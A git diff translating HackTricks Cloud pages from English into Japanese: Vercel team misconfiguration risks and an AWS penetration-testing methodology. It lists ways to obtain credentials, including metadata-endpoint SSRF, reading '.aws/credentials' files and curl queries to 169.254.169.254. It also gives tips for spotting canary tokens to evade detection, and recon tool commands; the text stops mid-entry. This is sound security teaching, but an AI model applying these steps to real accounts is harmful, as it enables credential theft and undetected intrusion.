Allows to delete the team with all the projects - - **Risk:** Delete the projects +- **転送** +- **誤設定:** すべてのプロジェクトを別のチームに転送することを許可します。 +- **リスク:** 攻撃者がプロジェクトを盗む可能性があります。 +- **プロジェクト削除** +- **誤設定:** すべてのプロジェクトを持つチームを削除することを許可します。 +- **リスク:** プロジェクトが削除される可能性があります。 --- -### Billing +### 請求 -#### Security Configurations: +#### セキュリティ設定: -- **Speed Insights Cost Limit** - - **Misconfiguration:** An attacker could increase this number - - **Risk:** Increased costs +- **Speed Insightsコスト制限** +- **誤設定:** 攻撃者がこの数値を増加させる可能性があります。 +- **リスク:** コストの増加。 --- -### Members +### メンバー -#### Security Configurations: +#### セキュリティ設定: -- **Add members** - - **Misconfiguration:** An attacker could maintain persitence inviting an account he control - - **Risk:** Attacker persistence -- **Roles** - - **Misconfiguration:** Granting too many permissions to people that doesn't need it increases the risk of the vercel configuration. Check all the possible roles in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles) - - **Risk**: Increate the exposure of the Vercel Team +- **メンバーの追加** +- **誤設定:** 攻撃者が制御するアカウントを招待して持続性を維持する可能性があります。 +- **リスク:** 攻撃者の持続性。 +- **役割** +- **誤設定:** 不要な人に過剰な権限を付与することは、Vercelの設定のリスクを増加させます。すべての可能な役割を確認するには[https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)を参照してください。 +- **リスク:** Vercelチームの露出が増加します。 --- -### Access Groups +### アクセスグループ -An **Access Group** in Vercel is a collection of projects and team members with predefined role assignments, enabling centralized and streamlined access management across multiple projects. +Vercelの**アクセスグループ**は、事前定義された役割割り当てを持つプロジェクトとチームメンバーのコレクションであり、複数のプロジェクトにわたる集中管理されたアクセス管理を可能にします。 -**Potential Misconfigurations:** +**潜在的な誤設定:** -- **Over-Permissioning Members:** Assigning roles with more permissions than necessary, leading to unauthorized access or actions. -- **Improper Role Assignments:** Incorrectly assigning roles that do not align with team members' responsibilities, causing privilege escalation. -- **Lack of Project Segregation:** Failing to separate sensitive projects, allowing broader access than intended. -- **Insufficient Group Management:** Not regularly reviewing or updating Access Groups, resulting in outdated or inappropriate access permissions. -- **Inconsistent Role Definitions:** Using inconsistent or unclear role definitions across different Access Groups, leading to confusion and security gaps. +- **メンバーの過剰権限:** 必要以上の権限を持つ役割を割り当て、無許可のアクセスやアクションを引き起こす。 +- **不適切な役割割り当て:** チームメンバーの責任に合わない役割を誤って割り当て、特権の昇格を引き起こす。 +- **プロジェクトの分離不足:** 機密プロジェクトを分離せず、意図したよりも広範なアクセスを許可する。 +- **不十分なグループ管理:** アクセスグループを定期的にレビューまたは更新せず、古くなったり不適切なアクセス権限をもたらす。 +- **不一致な役割定義:** 異なるアクセスグループ間で不一致または不明瞭な役割定義を使用し、混乱やセキュリティの隙間を引き起こす。 --- -### Log Drains +### ログドレイン -#### Security Configurations: +#### セキュリティ設定: -- **Log Drains to third parties:** - - **Misconfiguration:** An attacker could configure a Log Drain to steal the logs - - **Risk:** Partial persistence +- **サードパーティへのログドレイン:** +- **誤設定:** 攻撃者がログを盗むためにログドレインを設定する可能性があります。 +- **リスク:** 部分的な持続性。 --- -### Security & Privacy +### セキュリティとプライバシー -#### Security Configurations: +#### セキュリティ設定: -- **Team Email Domain:** When configured, this setting automatically invites Vercel Personal Accounts with email addresses ending in the specified domain (e.g., `mydomain.com`) to join your team upon signup and on the dashboard. - - **Misconfiguration:** - - Specifying the wrong email domain or a misspelled domain in the Team Email Domain setting. - - Using a common email domain (e.g., `gmail.com`, `hotmail.com`) instead of a company-specific domain. - - **Risks:** - - **Unauthorized Access:** Users with email addresses from unintended domains may receive invitations to join your team. - - **Data Exposure:** Potential exposure of sensitive project information to unauthorized individuals. -- **Protected Git Scopes:** Allows you to add up to 5 Git scopes to your team to prevent other Vercel teams from deploying repositories from the protected scope. Multiple teams can specify the same scope, allowing both teams access. - - **Misconfiguration:** Not adding critical Git scopes to the protected list. -- **Risks:** - - **Unauthorized Deployments:** Other teams may deploy repositories from your organization's Git scopes without authorization. - - **Intellectual Property Exposure:** Proprietary code could be deployed and accessed outside your team. -- **Environment Variable Policies:** Enforces policies for the creation and editing of the team's environment variables. Specifically, you can enforce that all environment variables are created as **Sensitive Environment Variables**, which can only be decrypted by Vercel's deployment system. - - **Misconfiguration:** Keeping the enforcement of sensitive environment variables disabled. - - **Risks:** - - **Exposure of Secrets:** Environment variables may be viewed or edited by unauthorized team members. - - **Data Breach:** Sensitive information like API keys and credentials could be leaked. -- **Audit Log:** Provides an export of the team's activity for up to the last 90 days. Audit logs help in monitoring and tracking actions performed by team members. - - **Misconfiguration:**\ - Granting access to audit logs to unauthorized team members. - - **Risks:** - - **Privacy Violations:** Exposure of sensitive user activities and data. - - **Tampering with Logs:** Malicious actors could alter or delete logs to cover their tracks. -- **SAML Single Sign-On:** Allows customization of SAML authentication and directory syncing for your team, enabling integration with an Identity Provider (IdP) for centralized authentication and user management. - - **Misconfiguration:** An attacker could backdoor the Team setting up SAML parameters such as Entity ID, SSO URL, or certificate fingerprints. - - **Risk:** Maintain persistence -- **IP Address Visibility:** Controls whether IP addresses, which may be considered personal information under certain data protection laws, are displayed in Monitoring queries and Log Drains. - - **Misconfiguration:** Leaving IP address visibility enabled without necessity. - - **Risks:** - - **Privacy Violations:** Non-compliance with data protection regulations like GDPR. - - **Legal Repercussions:** Potential fines and penalties for mishandling personal data. -- **IP Blocking:** Allows the configuration of IP addresses and CIDR ranges that Vercel should block requests from. Blocked requests do not contribute to your billing. - - **Misconfiguration:** Could be abused by an attacker to allow malicious traffic or block legit traffic. - - **Risks:** - - **Service Denial to Legitimate Users:** Blocking access for valid users or partners. - - **Operational Disruptions:** Loss of service availability for certain regions or clients. +- **チームメールドメイン:** 設定されると、この設定は指定されたドメイン（例: `mydomain.com`）で終わるメールアドレスを持つVercel個人アカウントを自動的に招待し、サインアップ時およびダッシュボードでチームに参加させます。 +- **誤設定:** +- 不正確なメールドメインや誤字のあるドメインをチームメールドメイン設定に指定する。 +- 会社特有のドメインの代わりに一般的なメールドメイン（例: `gmail.com`, `hotmail.com`）を使用する。 +- **リスク:** +- **無許可のアクセス:** 意図しないドメインのメールアドレスを持つユーザーがチームに参加するための招待を受ける可能性があります。 +- **データ露出:** 無許可の個人に機密プロジェクト情報が露出する可能性があります。 +- **保護されたGitスコープ:** 他のVercelチームが保護されたスコープからリポジトリをデプロイするのを防ぐために、チームに最大5つのGitスコープを追加できます。複数のチームが同じスコープを指定でき、両方のチームがアクセスできます。 +- **誤設定:** 重要なGitスコープを保護リストに追加しない。 +- **リスク:** +- **無許可のデプロイメント:** 他のチームがあなたの組織のGitスコープから無許可でリポジトリをデプロイする可能性があります。 +- **知的財産の露出:** 専有コードがデプロイされ、チーム外でアクセスされる可能性があります。 +- **環境変数ポリシー:** チームの環境変数の作成と編集に関するポリシーを強制します。具体的には、すべての環境変数が**機密環境変数**として作成され、Vercelのデプロイメントシステムによってのみ復号化できるように強制できます。 +- **誤設定:** 機密環境変数の強制を無効にする。 +- **リスク:** +- **秘密の露出:** 環境変数が無許可のチームメンバーによって表示または編集される可能性があります。 +- **データ漏洩:** APIキーや資格情報などの機密情報が漏洩する可能性があります。 +- **監査ログ:** チームの活動を過去90日間までエクスポートします。監査ログは、チームメンバーによって実行されたアクションの監視と追跡に役立ちます。 +- **誤設定:**\ +無許可のチームメンバーに監査ログへのアクセスを付与します。 +- **リスク:** +- **プライバシー侵害:** 機密ユーザー活動やデータの露出。 +- **ログの改ざん:** 悪意のある者が自分の足跡を隠すためにログを変更または削除する可能性があります。 +- **SAMLシングルサインオン:** チームのSAML認証とディレクトリ同期をカスタマイズし、中央集権的な認証とユーザー管理のためにアイデンティティプロバイダー（IdP）との統合を可能にします。 +- **誤設定:** 攻撃者がSAMLパラメータ（例: エンティティID、SSO URL、証明書フィンガープリント）を設定することでチームにバックドアを仕掛ける可能性があります。 +- **リスク:** 持続性を維持。 +- **IPアドレスの可視性:** IPアドレスが監視クエリやログドレインに表示されるかどうかを制御します。これは、特定のデータ保護法の下で個人情報と見なされる可能性があります。 +- **誤設定:** 必要なくIPアドレスの可視性を有効にしたままにする。 +- **リスク:** +- **プライバシー侵害:** GDPRなどのデータ保護規制に対する不遵守。 +- **法的影響:** 個人データの取り扱いに関する罰金やペナルティの可能性。 +- **IPブロッキング:** VercelがリクエストをブロックすべきIPアドレスやCIDR範囲を設定できます。ブロックされたリクエストは請求に寄与しません。 +- **誤設定:** 攻撃者によって悪意のあるトラフィックを許可したり、正当なトラフィックをブロックしたりするために悪用される可能性があります。 +- **リスク:** +- **正当なユーザーへのサービス拒否:** 有効なユーザーやパートナーのアクセスをブロックします。 +- **運用の中断:** 特定の地域やクライアントのサービス可用性の喪失。 --- -### Secure Compute +### セキュアコンピュート -**Vercel Secure Compute** enables secure, private connections between Vercel Functions and backend environments (e.g., databases) by establishing isolated networks with dedicated IP addresses. This eliminates the need to expose backend services publicly, enhancing security, compliance, and privacy. +**Vercel Secure Compute**は、Vercel Functionsとバックエンド環境（例: データベース）間の安全でプライベートな接続を可能にし、専用IPアドレスを持つ隔離されたネットワークを確立します。これにより、バックエンドサービスを公開する必要がなくなり、セキュリティ、コンプライアンス、プライバシーが向上します。 -#### **Potential Misconfigurations and Risks** +#### **潜在的な誤設定とリスク** -1. **Incorrect AWS Region Selection** - - **Misconfiguration:** Choosing an AWS region for the Secure Compute network that doesn't match the backend services' region. - - **Risk:** Increased latency, potential data residency compliance issues, and degraded performance. -2. **Overlapping CIDR Blocks** - - **Misconfiguration:** Selecting CIDR blocks that overlap with existing VPCs or other networks. - - **Risk:** Network conflicts leading to failed connections, unauthorized access, or data leakage between networks. -3. **Improper VPC Peering Configuration** - - **Misconfiguration:** Incorrectly setting up VPC peering (e.g., wrong VPC IDs, incomplete route table updates). - - **Risk:** Unauthorized access to backend infrastructure, failed secure connections, and potential data breaches. -4. **Excessive Project Assignments** - - **Misconfiguration:** Assigning multiple projects to a single Secure Compute network without proper isolation. - - **Risk:** Shared IP exposure increases the attack surface, potentially allowing compromised projects to affect others. -5. **Inadequate IP Address Management** - - **Misconfiguration:** Failing to manage or rotate dedicated IP addresses appropriately. - - **Risk:** IP spoofing, tracking vulnerabilities, and potential blacklisting if IPs are associated with malicious activities. -6. **Including Build Containers Unnecessarily** - - **Misconfiguration:** Adding build containers to the Secure Compute network when backend access isn't required during builds. - - **Risk:** Expanded attack surface, increased provisioning delays, and unnecessary consumption of network resources. -7. **Failure to Securely Handle Bypass Secrets** - - **Misconfiguration:** Exposing or mishandling secrets used to bypass deployment protections. - - **Risk:** Unauthorized access to protected deployments, allowing attackers to manipulate or deploy malicious code. -8. **Ignoring Region Failover Configurations** - - **Misconfiguration:** Not setting up passive failover regions or misconfiguring failover settings. - - **Risk:** Service downtime during primary region outages, leading to reduced availability and potential data inconsistency. -9. **Exceeding VPC Peering Connection Limits** - - **Misconfiguration:** Attempting to establish more VPC peering connections than the allowed limit (e.g., exceeding 50 connections). - - **Risk:** Inability to connect necessary backend services securely, causing deployment failures and operational disruptions. -10. **Insecure Network Settings** - - **Misconfiguration:** Weak firewall rules, lack of encryption, or improper network segmentation within the Secure Compute network. - - **Risk:** Data interception, unauthorized access to backend services, and increased vulnerability to attacks. +1. **不正確なAWSリージョンの選択** +- **誤設定:** Secure Computeネットワークのためにバックエンドサービスのリージョンと一致しないAWSリージョンを選択します。 +- **リスク:** レイテンシの増加、データ居住地コンプライアンスの問題、パフォーマンスの低下。 +2. **重複するCIDRブロック** +- **誤設定:** 既存のVPCや他のネットワークと重複するCIDRブロックを選択します。 +- **リスク:** ネットワークの競合が発生し、接続の失敗、無許可のアクセス、またはネットワーク間のデータ漏洩を引き起こす可能性があります。 +3. **不適切なVPCピアリング設定** +- **誤設定:** VPCピアリングを不正確に設定します（例: 不正確なVPC ID、未完成のルートテーブルの更新）。 +- **リスク:** バックエンドインフラストラクチャへの無許可のアクセス、セキュアな接続の失敗、データ漏洩の可能性。 +4. **過剰なプロジェクト割り当て** +- **誤設定:** 適切な分離なしに複数のプロジェクトを単一のSecure Computeネットワークに割り当てます。 +- **リスク:** 共有IPの露出が攻撃面を増加させ、侵害されたプロジェクトが他のプロジェクトに影響を与える可能性があります。 +5. **不十分なIPアドレス管理** +- **誤設定:** 専用IPアドレスを適切に管理またはローテーションしない。 +- **リスク:** IPスプーフィング、追跡の脆弱性、悪意のある活動に関連付けられた場合のブラックリスト化の可能性。 +6. **ビルドコンテナを不必要に含める** +- **誤設定:** ビルド中にバックエンドアクセスが必要ない場合に、ビルドコンテナをSecure Computeネットワークに追加します。 +- **リスク:** 攻撃面の拡大、プロビジョニングの遅延、ネットワークリソースの不必要な消費。 +7. **バイパスシークレットを安全に扱わない** +- **誤設定:** デプロイメント保護をバイパスするために使用されるシークレットを露出または不適切に扱います。 +- **リスク:** 保護されたデプロイメントへの無許可のアクセスが可能になり、攻撃者が悪意のあるコードを操作またはデプロイすることができます。 +8. **リージョンフェイルオーバー設定を無視する** +- **誤設定:** パッシブフェイルオーバーリージョンを設定しないか、フェイルオーバー設定を誤って設定します。 +- **リスク:** プライマリリージョンの障害時にサービスのダウンタイムが発生し、可用性の低下やデータの不整合が生じる可能性があります。 +9. **VPCピアリング接続制限を超える** +- **誤設定:** 許可された制限（例: 50接続を超える）を超えてVPCピアリング接続を確立しようとします。 +- **リスク:** 必要なバックエンドサービスに安全に接続できず、デプロイメントの失敗や運用の中断を引き起こす可能性があります。 +10. **安全でないネットワーク設定** +- **誤設定:** 弱いファイアウォールルール、暗号化の欠如、またはSecure Computeネットワーク内の不適切なネットワークセグメンテーション。 +- **リスク:** データの傍受、バックエンドサービスへの無許可のアクセス、攻撃に対する脆弱性の増加。 --- -### Environment Variables +### 環境変数 -**Purpose:** Manage environment-specific variables and secrets used by all the projects. +**目的:** すべてのプロジェクトで使用される環境固有の変数と秘密を管理します。 -#### Security Configurations: +#### セキュリティ設定: -- **Exposing Sensitive Variables** - - **Misconfiguration:** Prefixing sensitive variables with `NEXT_PUBLIC_`, making them accessible on the client side. - - **Risk:** Exposure of API keys, database credentials, or other sensitive data to the public, leading to data breaches. -- **Sensitive disabled** - - **Misconfiguration:** If disabled (default) it's possible to read the values of the generated secrets. - - **Risk:** Increased likelihood of accidental exposure or unauthorized access to sensitive information. +- **機密変数の露出** +- **誤設定:** 機密変数に`NEXT_PUBLIC_`をプレフィックスし、クライアント側でアクセス可能にします。 +- **リスク:** APIキー、データベースの資格情報、またはその他の機密データが公開され、データ漏洩につながる可能性があります。 +- **機密無効** +- **誤設定:** 無効にされている場合（デフォルト）、生成された秘密の値を読み取ることが可能です。 +- **リスク:** 機密情報の偶発的な露出や無許可のアクセスの可能性が高まります。 {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md index ad71de826..befcc8ee7 100644 --- a/src/pentesting-cloud/aws-security/README.md +++ b/src/pentesting-cloud/aws-security/README.md @@ -2,17 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Before start pentesting** an **AWS** environment there are a few **basics things you need to know** about how AWS works to help you understand what you need to do, how to find misconfigurations and how to exploit them. +**AWS** 環境の **ペンテスト** を開始する前に、AWS の仕組みについて知っておくべき **基本的なこと** がいくつかあります。これにより、何をすべきか、誤設定を見つける方法、そしてそれをどのように悪用するかを理解するのに役立ちます。 -Concepts such as organization hierarchy, IAM and other basic concepts are explained in: +組織の階層、IAM、その他の基本的な概念については、以下で説明されています： {{#ref}} aws-basic-information/ {{#endref}} -## Labs to learn +## 学習用ラボ - [https://github.com/RhinoSecurityLabs/cloudgoat](https://github.com/RhinoSecurityLabs/cloudgoat) - [https://github.com/BishopFox/iam-vulnerable](https://github.com/BishopFox/iam-vulnerable) @@ -22,49 +22,49 @@ aws-basic-information/ - [http://flaws.cloud/](http://flaws.cloud/) - [http://flaws2.cloud/](http://flaws2.cloud/) -Tools to simulate attacks: +攻撃をシミュレートするためのツール： - [https://github.com/Datadog/stratus-red-team/](https://github.com/Datadog/stratus-red-team/) - [https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main](https://github.com/sbasu7241/AWS-Threat-Simulation-and-Detection/tree/main) -## AWS Pentester/Red Team Methodology +## AWS ペンテスター/レッドチームの方法論 -In order to audit an AWS environment it's very important to know: which **services are being used**, what is **being exposed**, who has **access** to what, and how are internal AWS services an **external services** connected. +AWS 環境を監査するためには、どの **サービスが使用されているか**、何が **公開されているか**、誰が **何にアクセスできるか**、そして内部の AWS サービスと **外部サービス** がどのように接続されているかを知ることが非常に重要です。 -From a Red Team point of view, the **first step to compromise an AWS environment** is to manage to obtain some **credentials**. Here you have some ideas on how to do that: +レッドチームの観点から、AWS 環境を侵害するための **最初のステップ** は、いくつかの **資格情報** を取得することです。以下はその方法のいくつかです： -- **Leaks** in github (or similar) - OSINT -- **Social** Engineering -- **Password** reuse (password leaks) -- Vulnerabilities in AWS-Hosted Applications - - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) with access to metadata endpoint - - **Local File Read** - - `/home/USERNAME/.aws/credentials` - - `C:\Users\USERNAME\.aws\credentials` -- 3rd parties **breached** -- **Internal** Employee -- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)credentials +- github（または類似のもの）での **漏洩** - OSINT +- **ソーシャル** エンジニアリング +- **パスワード** の再利用（パスワード漏洩） +- AWS ホスティングアプリケーションの脆弱性 +- [**サーバーサイドリクエストフォージェリ**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) メタデータエンドポイントへのアクセス +- **ローカルファイル読み取り** +- `/home/USERNAME/.aws/credentials` +- `C:\Users\USERNAME\.aws\credentials` +- 第三者の **侵害** +- **内部** 従業員 +- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)資格情報 -Or by **compromising an unauthenticated service** exposed: +または、**認証されていないサービス** を侵害することによって： {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -Or if you are doing a **review** you could just **ask for credentials** with these roles: +または、**レビュー** を行っている場合は、これらの役割で **資格情報を要求する** ことができます： {{#ref}} aws-permissions-for-a-pentest.md {{#endref}} > [!NOTE] -> After you have managed to obtain credentials, you need to know **to who do those creds belong**, and **what they have access to**, so you need to perform some basic enumeration: +> 資格情報を取得した後は、それらの資格情報が **誰に属しているか**、および **何にアクセスできるか** を知る必要があります。そのため、いくつかの基本的な列挙を行う必要があります： -## Basic Enumeration +## 基本的な列挙 ### SSRF -If you found a SSRF in a machine inside AWS check this page for tricks: +AWS 内のマシンで SSRF を見つけた場合は、トリックのためにこのページを確認してください： {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf @@ -72,8 +72,7 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou ### Whoami -One of the first things you need to know is who you are (in where account you are in other info about the AWS env): - +最初に知っておくべきことの一つは、あなたが誰であるか（どのアカウントにいるか、AWS 環境に関する他の情報）です： ```bash # Easiest way, but might be monitored? aws sts get-caller-identity @@ -89,117 +88,113 @@ aws sns publish --topic-arn arn:aws:sns:us-east-1:*account id*:aaa --message aaa TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/dynamic/instance-identity/document ``` - > [!CAUTION] -> Note that companies might use **canary tokens** to identify when **tokens are being stolen and used**. It's recommended to check if a token is a canary token or not before using it.\ -> For more info [**check this page**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass). +> 企業は**カナリアトークン**を使用して**トークンが盗まれ使用されている**ときに特定することがあります。使用する前にトークンがカナリアトークンであるかどうかを確認することをお勧めします。\ +> 詳細については[**このページを確認してください**](aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md#honeytokens-bypass)。 -### Org Enumeration +### 組織の列挙 {{#ref}} aws-services/aws-organizations-enum.md {{#endref}} -### IAM Enumeration +### IAMの列挙 -If you have enough permissions **checking the privileges of each entity inside the AWS account** will help you understand what you and other identities can do and how to **escalate privileges**. +十分な権限がある場合、**AWSアカウント内の各エンティティの権限を確認すること**は、あなたや他のアイデンティティが何をできるか、どのように**権限を昇格させることができるか**を理解するのに役立ちます。 -If you don't have enough permissions to enumerate IAM, you can **steal bruteforce them** to figure them out.\ -Check **how to do the numeration and brute-forcing** in: +IAMを列挙するための十分な権限がない場合、**ブルートフォースで盗む**ことができます。\ +**列挙とブルートフォースの方法**については以下を確認してください： {{#ref}} aws-services/aws-iam-enum.md {{#endref}} > [!NOTE] -> Now that you **have some information about your credentials** (and if you are a red team hopefully you **haven't been detected**). It's time to figure out which services are being used in the environment.\ -> In the following section you can check some ways to **enumerate some common services.** +> 現在、**あなたの資格情報に関する情報を持っている**（そして、もしあなたがレッドチームであれば、幸運にも**検出されていない**ことを願っています）。環境で使用されているサービスを特定する時が来ました。\ +> 次のセクションでは、**一般的なサービスを列挙する方法**を確認できます。 -## Services Enumeration, Post-Exploitation & Persistence +## サービスの列挙、ポストエクスプロイト & 永続性 -AWS has an astonishing amount of services, in the following page you will find **basic information, enumeration** cheatsheets\*\*,\*\* how to **avoid detection**, obtain **persistence**, and other **post-exploitation** tricks about some of them: +AWSには驚くべき数のサービスがあります。次のページでは、**基本情報、列挙**のチートシート\*\*、\*\***検出を回避する方法**、**永続性**を取得する方法、その他の**ポストエクスプロイト**のトリックについての情報を見つけることができます： {{#ref}} aws-services/ {{#endref}} -Note that you **don't** need to perform all the work **manually**, below in this post you can find a **section about** [**automatic tools**](./#automated-tools). +すべての作業を**手動で**行う必要はないことに注意してください。以下の投稿には、[**自動ツール**](./#automated-tools)に関する**セクション**があります。 -Moreover, in this stage you might discovered **more services exposed to unauthenticated users,** you might be able to exploit them: +さらに、この段階で**認証されていないユーザーに公開されているサービスが**見つかるかもしれません。これらを悪用できるかもしれません： {{#ref}} aws-unauthenticated-enum-access/ {{#endref}} -## Privilege Escalation +## 権限昇格 -If you can **check at least your own permissions** over different resources you could **check if you are able to obtain further permissions**. You should focus at least in the permissions indicated in: +異なるリソースに対して**少なくとも自分の権限を確認できる**場合、**さらに権限を取得できるかどうかを確認することができます**。少なくとも以下の権限に焦点を当てるべきです： {{#ref}} aws-privilege-escalation/ {{#endref}} -## Publicly Exposed Services +## 公開されたサービス -While enumerating AWS services you might have found some of them **exposing elements to the Internet** (VM/Containers ports, databases or queue services, snapshots or buckets...).\ -As pentester/red teamer you should always check if you can find **sensitive information / vulnerabilities** on them as they might provide you **further access into the AWS account**. +AWSサービスを列挙しているときに、いくつかのサービスが**インターネットに要素を公開している**のを見つけたかもしれません（VM/コンテナのポート、データベースやキューサービス、スナップショットやバケットなど）。\ +ペンテスター/レッドチームとして、これらに**機密情報/脆弱性**がないか常に確認するべきです。これにより、**AWSアカウントへのさらなるアクセス**が得られるかもしれません。 -In this book you should find **information** about how to find **exposed AWS services and how to check them**. About how to find **vulnerabilities in exposed network services** I would recommend you to **search** for the specific **service** in: +この本では、**公開されたAWSサービスを見つける方法とそれを確認する方法**に関する**情報**を見つけることができるはずです。**公開されたネットワークサービスの脆弱性を見つける方法**については、特定の**サービス**を以下で**検索**することをお勧めします： {{#ref}} https://book.hacktricks.xyz/ {{#endref}} -## Compromising the Organization +## 組織の侵害 -### From the root/management account +### ルート/管理アカウントから -When the management account creates new accounts in the organization, a **new role** is created in the new account, by default named **`OrganizationAccountAccessRole`** and giving **AdministratorAccess** policy to the **management account** to access the new account. +管理アカウントが組織内に新しいアカウントを作成すると、**新しい役割**が新しいアカウントに作成され、デフォルトで**`OrganizationAccountAccessRole`**と名付けられ、**管理アカウント**に新しいアカウントにアクセスするための**AdministratorAccess**ポリシーが付与されます。
-So, in order to access as administrator a child account you need: +したがって、子アカウントに管理者としてアクセスするには、次のことが必要です： -- **Compromise** the **management** account and find the **ID** of the **children accounts** and the **names** of the **role** (OrganizationAccountAccessRole by default) allowing the management account to access as admin. - - To find children accounts go to the organizations section in the aws console or run `aws organizations list-accounts` - - You cannot find the name of the roles directly, so check all the custom IAM policies and search any allowing **`sts:AssumeRole` over the previously discovered children accounts**. -- **Compromise** a **principal** in the management account with **`sts:AssumeRole` permission over the role in the children accounts** (even if the account is allowing anyone from the management account to impersonate, as its an external account, specific `sts:AssumeRole` permissions are necessary). +- **管理**アカウントを**侵害**し、**子アカウントのID**と**役割の名前**（デフォルトでOrganizationAccountAccessRole）を見つけて、管理アカウントが管理者としてアクセスできるようにします。 +- 子アカウントを見つけるには、AWSコンソールの組織セクションに移動するか、`aws organizations list-accounts`を実行します。 +- 役割の名前を直接見つけることはできないため、すべてのカスタムIAMポリシーを確認し、**以前に発見した子アカウントに対する`sts:AssumeRole`を許可するもの**を検索します。 +- **管理アカウント内の**`sts:AssumeRole`権限を持つ**プリンシパルを侵害**し、子アカウントの役割に対して**（管理アカウントから誰でもなりすますことを許可している場合でも、外部アカウントであるため、特定の`sts:AssumeRole`権限が必要です）**。 -## Automated Tools +## 自動ツール -### Recon - -- [**aws-recon**](https://github.com/darkbitio/aws-recon): A multi-threaded AWS security-focused **inventory collection tool** written in Ruby. +### リコン +- [**aws-recon**](https://github.com/darkbitio/aws-recon)：Rubyで書かれたマルチスレッドのAWSセキュリティに特化した**インベントリ収集ツール**。 ```bash # Install gem install aws_recon # Recon and get json AWS_PROFILE= aws_recon \ - --services S3,EC2 \ - --regions global,us-east-1,us-east-2 \ - --verbose +--services S3,EC2 \ +--regions global,us-east-1,us-east-2 \ +--verbose ``` - -- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist is a **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) from Cloud Providers. -- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper helps you analyze your Amazon Web Services (AWS) environments. It now contains much more functionality, including auditing for security issues. - +- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlistは、クラウドプロバイダーからアセット（ホスト名、IPアドレス）を取得するための**マルチクラウドツール**です。 +- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapperは、Amazon Web Services（AWS）環境を分析するのに役立ちます。現在、セキュリティ問題の監査を含む、はるかに多くの機能が含まれています。 ```bash # Installation steps in github # Create a config.json file with the aws info, like: { - "accounts": [ - { - "default": true, - "id": "", - "name": "dev" - } - ], - "cidrs": - { - "2.2.2.2/28": {"name": "NY Office"} - } +"accounts": [ +{ +"default": true, +"id": "", +"name": "dev" +} +], +"cidrs": +{ +"2.2.2.2/28": {"name": "NY Office"} +} } # Enumerate @@ -229,9 +224,7 @@ python3 cloudmapper.py public --accounts dev python cloudmapper.py prepare #Prepare webserver python cloudmapper.py webserver #Show webserver ``` - -- [**cartography**](https://github.com/lyft/cartography): Cartography is a Python tool that consolidates infrastructure assets and the relationships between them in an intuitive graph view powered by a Neo4j database. - +- [**cartography**](https://github.com/lyft/cartography): Cartographyは、Neo4jデータベースによって駆動される直感的なグラフビューで、インフラストラクチャ資産とそれらの関係を統合するPythonツールです。 ```bash # Install pip install cartography @@ -240,17 +233,15 @@ pip install cartography # Get AWS info AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j ``` - -- [**starbase**](https://github.com/JupiterOne/starbase): Starbase collects assets and relationships from services and systems including cloud infrastructure, SaaS applications, security controls, and more into an intuitive graph view backed by the Neo4j database. -- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (Uses python2) This is a tool that tries to **discover all** [**AWS resources**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) created in an account. -- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): It's a tool to **fetch all public IP addresses** (both IPv4/IPv6) associated with an AWS account. +- [**starbase**](https://github.com/JupiterOne/starbase): Starbaseは、クラウドインフラストラクチャ、SaaSアプリケーション、セキュリティコントロールなどのサービスやシステムから資産と関係を収集し、Neo4jデータベースに基づいた直感的なグラフビューに表示します。 +- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2を使用) これは、アカウント内で作成されたすべての[**AWSリソース**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource)を**発見しようとする**ツールです。 +- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): これは、AWSアカウントに関連付けられた**すべてのパブリックIPアドレス**（IPv4/IPv6の両方）を**取得する**ツールです。 ### Privesc & Exploiting -- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins. It uses powershell. You can find the **definition of privileged policies** in the function **`Check-PrivilegedPolicy`** in [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1). -- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu is an open-source **AWS exploitation framework**, designed for offensive security testing against cloud environments. It can **enumerate**, find **miss-configurations** and **exploit** them. You can find the **definition of privileged permissions** in [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) inside the **`user_escalation_methods`** dict. - - Note that pacu **only checks your own privescs paths** (not account wide). - +- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** 